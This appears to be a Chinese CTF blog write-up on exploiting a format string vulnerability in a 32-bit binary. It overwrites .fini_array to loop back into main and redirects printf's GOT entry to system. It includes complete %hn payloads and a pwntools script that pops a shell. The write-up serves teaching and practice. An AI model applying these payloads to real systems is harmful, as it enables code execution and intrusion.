格式化字符串漏洞-无限循环

格式化字符串漏洞-无限循环

程序大致逻辑如下,程序存在system函数,保护只开了NX

 setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", &format);
  printf("Hello ");
  printf(&format);
  return 0;

存在格式化字符串漏洞,但是利用完之后没有别的函数执行。只能利用一次且没有别的函数可以执行。

但是有一种方法可以使程序达到无限循环。

一个程序的流程执行如下所示:

在这里插入图片描述
在main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针

在这里插入图片描述

我们修改其函数指针的地址为main即可在结束时重新调用main函数重新调用函数

同时我们可以将printf的got表内容修改至system函数的地址调用system地址

接着我们在查看一下我们输入的字符串的偏移,再printf处下断点

在这里插入图片描述

我们输入所处的偏移为4

最终确定payload如下

payload=p32(fini_array)+p32(printf_got)+"%134513964c%4$n"+"%4294966940c%5$n"

但是由于交互问题此时接收数据太长,传输效果不好。因此我们改用hn传输

payload="\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$ hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
from pwn import *
p=process('./pwn')
context.log_level='debug'
p.recvuntil("Welcome to my ctf! What's your name?\n")
fini_array=0x0804979c
fini_1=0x0804979e
printf_got=0x0804989c
system_plt=0x080483d0
main_addr=0x08048534
payload="\x9c\x97\x04\x08\x9e\x97\x04\x08\x9c\x98\x04\x08\x9e\x98\x04\x08%34084c%4$hn%33488c%5$hn%31692c%6$hn%33844c%7$hn"
#payload=p32(fini_array)+p32(printf_got)+"%134513964c%4$n%4294966940c%5$n"

p.send(payload)
sleep(2)
p.recvuntil("Welcome to my ctf! What's your name?\n")
p.sendline("/bin/sh\x00")
p.interactive()

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值